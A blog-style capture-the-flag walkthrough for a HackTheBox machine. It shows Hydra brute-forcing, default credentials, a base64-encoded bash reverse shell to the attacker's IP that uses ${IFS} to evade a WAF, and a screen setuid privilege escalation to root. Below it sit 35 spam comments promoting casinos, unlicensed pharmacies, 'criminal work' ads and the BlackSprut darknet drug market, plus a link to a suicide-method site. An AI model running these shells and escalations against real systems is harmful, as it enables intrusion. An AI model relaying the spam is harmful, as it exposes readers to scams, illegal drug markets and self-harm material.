Another Brick in the ****

This is gonna be quick and dirty. A more in depth write up will be done when the box goes retired.

Initial nmap scan didn’t reveal anything too helpful. What author of the box wants you to do is some OSINT, which involves Googling his name, which brings you to his Twitter page.

Thus, we can access the administrative login page for this site by updating the end of the url to /centreon

There’s a couple of ways to figure out the credentials here. We can use Hydra to try to brute force the username and password, and this tutorial is great for that: https://bentrobotlabs.wordpress.com/2018/04/02/web-site-login-brute-forcing-with-hydra/

hydra -L top-usernames-shortlist.txt -p password1 10.10.10.157 http-post-form "/index.php:useralias=^USER^&password=^PASS^:F=incorrect" -vV -f

Or you can just try a couple of the top usernames and passwords. On this webpage, it’s admin and password1

Once we’re logged in, we hit a bit of a wall. If we read the author’s blog post we see how he did the exploit, and then wrote a custom piece of code to run the exploit, but this box has a WAF setup so it won’t work. So we have to take a more manual approach.

If we go to Exploit-DB we can find this exploit, written by the author: https://www.exploit-db.com/exploits/47069

It doesn’t work right out of the box, though. What’s happening is the line that start the netcat connection has spaces in it, and the WAF is dropping the rest of the packet (using tcpdump will display this). So we need to modify the code in the exploit we download.

We need to modify this line. The best way to do it is the following:

  1. We want a command that looks like this to establish our reverse shell back: bash -c ‘bash -i >& /dev/tcp/10.10.X.X/1339 0>&1’
    1. Keep in mind that’s the IP of my Kali box, and the port netcat will be listening on.
  2. We should encode it for some extra stealth, so let’s use base 64. Go to a encoding website like https://www.base64encode.org and let’s encode it.
  3. We’re gonna want to echo it, decode it, and then pipe it into bash with a command like this: echo <encoded stuff> | base64 -d | bash;
  4. We need to make sure we don’t let the spaces get removed while we’re sending the command, so we need to use ${IFS} anywhere in our command where we would have a space.

Our updated 47069.py file should have this line modified, and yours should be similar:

Remember to setup your netcat listener with whatever port you specified in your encoding (1339 in my case).

And then run your exploit with a command similar to the following (updated with your IP’s, of course): python3 47069.py http://<target IP>/centreon admin password1 <your Kali IP> <your Kali port>

Enumeration

We’re gonna use a handy dandy little script to do some basic enumeration on Linux, and that script is called linux-smart-enumeration. https://github.com/diego-treitos/linux-smart-enumeration

On your Kali box, use the command they give you to pull lse.sh onto your Kali machine: wget "https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh" -O lse.sh

Our target box isn’t talking to the internet, so we’ll have to manually move the file over to the box. This is how I do it.

  1. Make sure apache2 is running with service apache2 start
  2. Copy the lse.sh to /var/www/html with the following command: cp lse.sh /var/www/html
  3. From your shell on your target machine, navigate to /tmp
  4. Type wget <ip>/lse.sh and that should copy the script onto the target box
  5. Type chmod 777 lse.sh so that you can execute it
  6. Type ./lse.sh to run the script
  7. If asked for the password, just hit Enter
  8. Watch the magic happen

Looking through the results, we see that there is some unusual setuid binaries, specifically this one:

Googling that bad boy with the word “exploit” brings us here: https://www.exploit-db.com/exploits/41154

Now, I’m going to save you the headache of troubleshooting this bitch. Initially, I used WGET and pulled this onto our target machine and tried to run it and got a big middle finger. So, looking at the script it’s divided into three different sections:

The red box is one script, the blue box is another, and then there is everything around it. This is what I had to do.

Take the information in the red box and paste it into a new file using Nano on your Kali box. Call it libhax.c and it should look like this:

Now, do the same with the code in the blue box and call it rootshell.c and it should look like this:

Make sure those two pieces of code are in your /var/www/html directory on your Kali box and then use wget to bring them onto your target machine.

Now, the rest we are going to do manually. In our screen shot above, the code that wasn’t in the red or blue boxes should do this, but it kept fucking up. So we’re going to do it the good old fashioned way.

For the sake of typos (and your own sanity) I can’t recommend enough copying and pasting the commands from this page: https://www.exploit-db.com/raw/41154 but only the commands I outline below. Let’s go:

  1. gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
  2. gcc -o /tmp/rootshell /tmp/rootshell.c
  3. cd /etc
  4. umask 000
  5. screen -D -m -L ld.so.preload echo -ne “\x0a/tmp/libhax.so”
  6. screen -ls
  7. /tmp/rootshell

From here, you should be able to type whoami and be on as root.

The root flag is in /root and the user flag is in /home/shelby

36 thoughts on “Another Brick in the ****”

  1. На этом сайте можно ознакомиться с информацией о телешоу “Однажды в сказке”, развитии событий и ключевых персонажах. однажды в сказке смотреть онлайн/a> Здесь представлены интересные материалы о создании шоу, исполнителях ролей и любопытных деталях из-за кулис.

  2. На данном сайте можно заказать фирменные сумки Coach.
    В каталоге представлены различные модели для любых случаев.
    Любая сумка сочетает в дизайне надежность и элегантность.
    Оформите заказ сейчас и получите доставку в минимальные сроки!

  3. На этом сайте у вас есть возможность приобрести виртуальные телефонные номера различных операторов. Эти номера подходят для подтверждения аккаунтов в различных сервисах и приложениях.
    В ассортименте представлены как долговременные, так и одноразовые номера, что можно использовать чтобы принять SMS. Это удобное решение для тех, кто не хочет указывать личный номер в сети.
    купить одноразовый номер
    Оформление заказа очень удобный: выбираете необходимый номер, оплачиваете, и он будет готов к использованию. Оцените услугу уже сегодня!

  4. Спортивная обувь сегодня стали важнейшей частью современного гардероба. Они идеально сочетаются с многими стилями, от уличного до более элегантного. С каждым годом кроссовки приобретают всё большую важность, становясь не только символом комфорта, но и модным аксессуаром. Все мы выбираем их не только для тренировок, но и для ежедневных прогулок. Такое произошло благодаря их удобству и неповторимому дизайну.
    http://www.limblengtheningforum.com/index.php?topic=87093.new#new

  5. На этом ресурсе вы найдете клинику психологического здоровья, которая предлагает профессиональную помощь для людей, страдающих от тревоги и других ментальных расстройств. Эта комплексное лечение для восстановления психического здоровья. Наши опытные психологи готовы помочь вам справиться с психологические барьеры и вернуться к сбалансированной жизни. Опыт наших психологов подтверждена множеством положительных обратной связи. Обратитесь с нами уже сегодня, чтобы начать путь к восстановлению.
    http://leilaoruraltv.com/__media__/js/netsoltrademark.php?d=empathycenter.ru%2Fpreparations%2Fz%2Fzopiklon%2F

  6. GameAthlon is a popular entertainment platform offering thrilling gameplay for players of all preferences.
    The casino features a diverse collection of slot games, live dealer games, card games, and sportsbook.
    Players have access to smooth navigation, stunning animations, and easy-to-use interfaces on both desktop and smartphones.
    http://www.gameathlon.gr
    GameAthlon prioritizes safe gaming by offering trusted payment methods and reliable RNG systems.
    Reward programs and VIP perks are regularly updated, giving players extra opportunities to win and extend their play.
    The customer support team is ready 24/7, supporting with any inquiries quickly and politely.
    The site is the ideal choice for those looking for an adrenaline rush and big winnings in one safe space.

  7. Exquisite wristwatches have long been a gold standard in horology. Crafted by legendary artisans, they seamlessly blend heritage with innovation.
    Every component embody unmatched workmanship, from precision-engineered calibers to luxurious finishes.
    Investing in a timepiece is more than a way to check the hour. It stands for refined taste and exceptional durability.
    No matter if you love a bold statement piece, Swiss watches provide remarkable beauty that stands the test of time.
    http://forum.lbaci.net/viewtopic.php?t=141723

  8. You can find a vast selection of trusted pharmaceutical products to suit your health requirements.
    Our platform ensures speedy and reliable shipping to your location.
    Every item is sourced from licensed manufacturers so you get authenticity and compliance.
    Feel free to browse our online store and place your order with just a few clicks.
    Need help? Our support team will guide you at any time.
    Prioritize your well-being with reliable e-pharmacy!
    https://www.goodreads.com/review/show/6956394469

  9. Despite the rise of digital timepieces, mechanical watches remain everlasting.
    Many people still appreciate the artistry that goes into classic automatics.
    Compared to modern wearables, that become outdated, classic timepieces remain prestigious through generations.
    https://spacerider.ru/forum/index.php?topic=2176.new#new
    Prestigious watchmakers are always introducing limited-edition traditional watches, confirming that their appeal hasn’t faded.
    To a lot of people, a traditional wristwatch is not just an accessory, but a reflection of timeless elegance.
    Even as high-tech wearables offer convenience, mechanical watches represent an art form that remains unmatched.

  10. BlackSprut – платформа с особыми возможностями
    Платформа BlackSprut удостаивается обсуждения широкой аудитории. Что делает его уникальным?
    Данный ресурс обеспечивает широкие опции для своих пользователей. Оформление сайта отличается простотой, что делает платформу понятной даже для новичков.
    Важно отметить, что данная система обладает уникальными характеристиками, которые делают его особенным на рынке.
    Обсуждая BlackSprut, нельзя не упомянуть, что различные сообщества выражают неоднозначные взгляды. Многие выделяют его удобство, а кто-то оценивают его неоднозначно.
    В целом, BlackSprut остается объектом интереса и удерживает внимание разных слоев интернет-сообщества.
    Обновленный сайт БлэкСпрут – здесь можно найти
    Если нужен обновленный сайт БлэкСпрут, то вы по адресу.
    bs2best
    Сайт часто обновляет адреса, поэтому важно знать обновленный линк.
    Мы следим за актуальными доменами и готовы предоставить новым линком.
    Проверьте рабочую ссылку прямо сейчас!

  11. Ordering drugs from e-pharmacies is way simpler than shopping in person.
    There’s no reason to wait in line or worry about limited availability.
    E-pharmacies allow you to buy your medications from home.
    Many digital pharmacies offer better prices unlike physical stores.
    https://todayssolutionrelationships.com/is-an-invisible-thread-the-secret-to-long-distance-love/#comment-11485
    Plus, it’s easy to compare alternative medications quickly.
    Fast shipping makes it even more convenient.
    Have you tried ordering from e-pharmacies?

  12. Здесь представлены свежие новости мировой политики. Регулярные обновления помогают оставаться в курсе главных новостей. Здесь освещаются решениях мировых лидеров. Объективная аналитика позволяют глубже понять ситуацию. Оставайтесь информированными с этим ресурсом.
    https://justdoitnow03042025.com

  13. Фанаты слотов всегда могут найти зеркальное зеркало онлайн-казино Champion чтобы без проблем запустить популярными автоматами.
    На сайте представлены разнообразные онлайн-игры, от олдскульных до новых, а также новейшие игры от ведущих производителей.
    Если официальный сайт временно заблокирован, рабочее зеркало Champion даст возможность обойти ограничения и наслаждаться любимыми слотами.
    https://casino-champions-slots.ru
    Все возможности полностью работают, включая открытие профиля, пополнение счета и кэш-ауты, а также бонусы.
    Используйте проверенную альтернативный адрес, и не терять доступ к казино Чемпион!

  14. Обзор BlackSprut: ключевые особенности
    BlackSprut удостаивается обсуждения многих пользователей. Что делает его уникальным?
    Данный ресурс обеспечивает широкие опции для тех, кто им интересуется. Оформление платформы отличается удобством, что позволяет ей быть интуитивно удобной даже для тех, кто впервые сталкивается с подобными сервисами.
    Важно отметить, что BlackSprut работает по своим принципам, которые формируют его имидж в определенной среде.
    Говоря о BlackSprut, стоит отметить, что различные сообщества выражают неоднозначные взгляды. Одни подчеркивают его функциональность, другие же оценивают его неоднозначно.
    Таким образом, BlackSprut остается объектом интереса и привлекает интерес разных пользователей.
    Ищете актуальное зеркало BlackSprut?
    Хотите узнать свежее зеркало на БлэкСпрут? Это можно сделать здесь.
    bs2best актуальная ссылка
    Сайт часто обновляет адреса, и лучше знать актуальный линк.
    Мы следим за актуальными доменами чтобы поделиться новым зеркалом.
    Посмотрите рабочую ссылку прямо сейчас!

  15. This portal features plenty of online slots, ideal for different gaming styles.
    On this site, you can explore classic slots, new generation slots, and jackpot slots with amazing animations and realistic audio.
    No matter if you’re looking for easy fun or seek bonus-rich rounds, this site has something that suits you.
    http://bazhenova.greatforum.ru/viewtopic.php?f=17&t=8731
    Every slot are available anytime, with no installation, and well adapted for both all devices.
    Besides slots, the site includes slot guides, bonuses, and player feedback to guide your play.
    Register today, jump into the action, and have fun with the excitement of spinning!

  16. Exploring complementary and alternative medicine (CAM) requires careful consideration. Understanding the evidence behind different CAM therapies is important. Learning how CAM might interact with conventional treatments is crucial. Awareness of medical preparations within CAM, like herbal supplements, needs scrutiny. Knowing about regulation and quality control is part of informed use. Finding balanced, evidence-based information on CAM is necessary. The iMedix podcast occasionally delves into integrative health topics critically. As a source of trusted health advice, it prioritizes evidence. Listen to the iMedix Medical podcast for balanced perspectives. Check www.iMedix.com for diverse health information.

  17. Self-harm leading to death is a serious topic that affects millions of people around the globe.
    It is often linked to mental health issues, such as depression, stress, or substance abuse.
    People who contemplate suicide may feel overwhelmed and believe there’s no hope left.
    how-to-kill-yourself.com
    It is important to spread knowledge about this matter and support those in need.
    Early support can save lives, and reaching out is a brave first step.
    If you or someone you know is struggling, please seek help.
    You are not without options, and support exists.

  18. На этом сайте вы можете наслаждаться обширной коллекцией игровых автоматов.
    Слоты обладают яркой графикой и захватывающим игровым процессом.
    Каждая игра даёт индивидуальные бонусные функции, улучшающие шансы на успех.
    1xbet казино официальный сайт
    Игра в игровые автоматы предназначена любителей азартных игр всех мастей.
    Вы можете играть бесплатно, а затем перейти к игре на реальные деньги.
    Попробуйте свои силы и окунитесь в захватывающий мир слотов.

  19. На нашем портале вам предоставляется возможность наслаждаться большим выбором слотов.
    Игровые автоматы характеризуются яркой графикой и интерактивным игровым процессом.
    Каждый слот предлагает индивидуальные бонусные функции, повышающие вероятность победы.
    1 win
    Слоты созданы для как новичков, так и опытных игроков.
    Есть возможность воспользоваться демо-режимом, после чего начать играть на реальные деньги.
    Испытайте удачу и насладитесь неповторимой атмосферой игровых автоматов.

  20. На данной платформе вы сможете найти лучшие слоты казино в казино Champion.
    Ассортимент игр включает проверенные временем слоты и современные слоты с качественной анимацией и специальными возможностями.
    Всякий автомат разработан для комфортного использования как на десктопе, так и на мобильных устройствах.
    Независимо от опыта, здесь вы обязательно подберёте слот по душе.
    casino чемпион
    Автоматы запускаются в любое время и работают прямо в браузере.
    Также сайт предлагает бонусы и обзоры игр, для улучшения опыта.
    Погрузитесь в игру уже сегодня и испытайте удачу с брендом Champion!

  21. hi!,I love your writing so a lot! proportion we keep in touch more approximately your post on AOL? I need a specialist on this house to unravel my problem. Maybe that’s you! Taking a look forward to see you.

  22. Наш веб-портал — интернет-представительство лицензированного аналитической компании.
    Мы предоставляем помощь в области розыска.
    Коллектив детективов работает с абсолютной дискретностью.
    Мы занимаемся проверку фактов и анализ ситуаций.
    Заказать детектива
    Каждое обращение получает персональный подход.
    Опираемся на эффективные инструменты и действуем в правовом поле.
    Нуждаетесь в ответственное агентство — свяжитесь с нами.

  23. Our platform offers a great variety of interior wall-mounted clocks for every room.
    You can explore minimalist and classic styles to complement your interior.
    Each piece is curated for its visual appeal and durability.
    Whether you’re decorating a creative workspace, there’s always a fitting clock waiting for you.
    time wall mounted clocks
    Our assortment is regularly renewed with new arrivals.
    We ensure a smooth experience, so your order is always in professional processing.
    Start your journey to better decor with just a few clicks.

  24. Платформа создан для трудоустройства на территории Украины.
    Здесь вы найдете актуальные предложения от настоящих компаний.
    Система показывает объявления о работе в различных сферах.
    Полный рабочий день — всё зависит от вас.
    Кримінальна робота
    Навигация легко осваивается и подходит на любой уровень опыта.
    Начало работы очень простое.
    Готовы к новым возможностям? — просматривайте вакансии.

  25. On this platform, you can access a wide selection of online slots from famous studios.
    Visitors can experience traditional machines as well as modern video slots with high-quality visuals and exciting features.
    Even if you’re new or a seasoned gamer, there’s something for everyone.
    casino games
    The games are instantly accessible round the clock and designed for desktop computers and tablets alike.
    No download is required, so you can jump into the action right away.
    The interface is user-friendly, making it quick to browse the collection.
    Sign up today, and dive into the excitement of spinning reels!

  26. Here, you can access a wide selection of online slots from top providers.
    Visitors can try out retro-style games as well as new-generation slots with vivid animation and bonus rounds.
    If you’re just starting out or an experienced player, there’s always a slot to match your mood.
    casino slots
    Each title are ready to play round the clock and compatible with PCs and mobile devices alike.
    All games run in your browser, so you can jump into the action right away.
    The interface is easy to use, making it simple to find your favorite slot.
    Register now, and enjoy the excitement of spinning reels!

  27. Mechanical watches will always remain timeless.
    They reflect craftsmanship and deliver a human touch that modern gadgets simply lack.
    Each piece is powered by tiny components, making it both accurate and sophisticated.
    Watch enthusiasts appreciate the intricate construction.
    https://www.tumblr.com/sneakerizer/778880557374423040/horological-alchemy-best-luxury-watches-with
    Wearing a mechanical watch is not just about utility, but about making a statement.
    Their styles are iconic, often passed from lifetime to legacy.
    Ultimately, mechanical watches will never go out of style.

  28. Did you know that 1 in 3 patients make dangerous medication errors due to insufficient information?

    Your physical condition requires constant attention. All treatment options you make significantly affects your long-term wellbeing. Maintaining awareness about the drugs you take isn’t optional for disease prevention.
    Your health goes far beyond swallowing medications. Every medication affects your physiology in unique ways.

    Remember these life-saving facts:
    1. Mixing certain drugs can cause fatal reactions
    2. Even common supplements have potent side effects
    3. Altering dosages reduces effectiveness

    To avoid risks, always:
    ✓ Check compatibility via medical databases
    ✓ Study labels completely prior to using any medication
    ✓ Consult your doctor about potential side effects

    ___________________________________
    For verified drug information, visit:
    https://community.alteryx.com/t5/user/viewprofilepage/user-id/575789

  29. The digital drugstore provides a wide range of medications at affordable prices.
    You can find all types of remedies suitable for different health conditions.
    We strive to maintain trusted brands without breaking the bank.
    Quick and dependable delivery guarantees that your order gets to you quickly.
    Experience the convenience of getting your meds through our service.
    generic vs brand name drugs

  30. On this site offers CD player radio alarm clocks crafted by top providers.
    Here you’ll discover sleek CD units with PLL tuner and dual alarms.
    These devices offer AUX jacks, charging capability, and battery backup.
    The selection ranges from economical models to elite choices.
    alarm-radio-clocks.com
    Every model offer sleep timers, rest timers, and illuminated panels.
    Order today using Walmart with fast shipping.
    Discover the perfect clock-radio-CD setup for office daily routines.

  31. Our platform provides off-road vehicle rentals on Crete.
    Anyone can safely reserve a buggy for adventure.
    In case you’re looking to explore natural spots, a buggy is the perfect way to do it.
    https://500px.com/p/buggycrete?view=photos
    Our rides are ready to go and available for daily plans.
    Booking through this site is user-friendly and comes with great support.
    Get ready to ride and enjoy Crete from a new angle.

  32. This website, you can find a wide selection of slot machines from leading developers.
    Players can enjoy classic slots as well as feature-packed games with high-quality visuals and interactive gameplay.
    If you’re just starting out or a casino enthusiast, there’s a game that fits your style.
    money casino
    All slot machines are available anytime and designed for PCs and smartphones alike.
    You don’t need to install anything, so you can start playing instantly.
    Platform layout is user-friendly, making it simple to find your favorite slot.
    Register now, and discover the excitement of spinning reels!

  33. Новый летний период обещает быть ярким и оригинальным в плане моды.
    В тренде будут асимметрия и неожиданные сочетания.
    Гамма оттенков включают в себя неоновые оттенки, создающие настроение.
    Особое внимание дизайнеры уделяют принтам, среди которых популярны макросумки.
    https://luxe-moda.ru/chic/564-10-prichin-lyubit-brend-brunello-cucinelli/
    Опять актуальны элементы модерна, через призму сегодняшнего дня.
    На подиумах уже можно увидеть модные эксперименты, которые впечатляют.
    Следите за обновлениями, чтобы создать свой образ.

  34. Наличие туристического полиса во время путешествия — это разумное решение для спокойствия путешественника.
    Сертификат обеспечивает медицинскую помощь в случае обострения болезни за границей.
    Помимо этого, сертификат может охватывать компенсацию на возвращение домой.
    расчет каско
    Многие страны предусматривают предъявление страховки для посещения.
    Без страховки госпитализация могут быть финансово обременительными.
    Оформление полиса перед выездом

  35. Traditional timepieces will forever stay fashionable.
    They represent tradition and showcase a level of detail that modern gadgets simply don’t replicate.
    Every model is powered by complex gears, making it both accurate and sophisticated.
    Collectors admire the manual winding.
    https://sites.google.com/view/watchcrazy/audemars-piguet
    Wearing a mechanical watch is not just about checking hours, but about honoring history.
    Their styles are classic, often passed from one owner to another.
    Ultimately, mechanical watches will remain icons.

Leave a Reply

Your email address will not be published. Required fields are marked *